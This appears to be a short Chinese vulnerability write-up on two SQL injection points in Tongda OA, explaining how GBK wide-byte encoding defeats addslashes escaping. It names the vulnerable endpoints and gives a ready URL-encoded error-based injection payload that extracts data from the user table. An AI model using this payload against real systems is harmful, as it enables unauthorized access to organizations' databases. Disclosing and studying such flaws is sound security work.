通达OA 两处注入点:
```
/interface/auth.php
/general/score/flow/scoredate/result.php
```
主要原因还是由于宽字符导致的。
MYSQL的字符集转换过程
1. MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection;
2. 进行内部操作前将请求数据从character_set_connection转换为内部操作字符集,其确定方法如下:
• 使用每个数据字段的CHARACTER SET设定值;
• 若上述值不存在,则使用对应数据表的DEFAULT CHARACTER SET设定值(MySQL扩展,非SQL标准);
• 若上述值不存在,则使用对应数据库的DEFAULT CHARACTER SET设定值;
• 若上述值不存在,则使用character_set_server设定值。
• 将操作结果从内部操作字符集转换为character_set_results。
>宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码。
```
1,$_GET[‘sql’] 经过 addslashes编码之后带入了‘\’
变为USER_ID=%df%5c%27
2,带入mysql处理时使用了gbk字符集
%df%5c变成 運 成功的吃掉了%5c
从而导致单引号成功闭合
```
GBK编码,它的编码范围是0x8140~0xFEFE(不包括xx7F),在遇到%df(ascii(223)) ascii(128)时自动拼接%5c,因此吃掉‘\’,而%27、%20小于ascii(128)的字符就保留了。
在提交USER_ID=%df%27 或者 USER_ID=%df%27


构造相应的payload即可完成攻击
```
%df%27%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(0x3a,md5(1122),0x3a)%20from%20user%20limit%201),floor(rand(0)*2))x%20from%20%20information_schema.tables%20group%20by%20x)a)%23
```
漏洞证明:

POC


暂无评论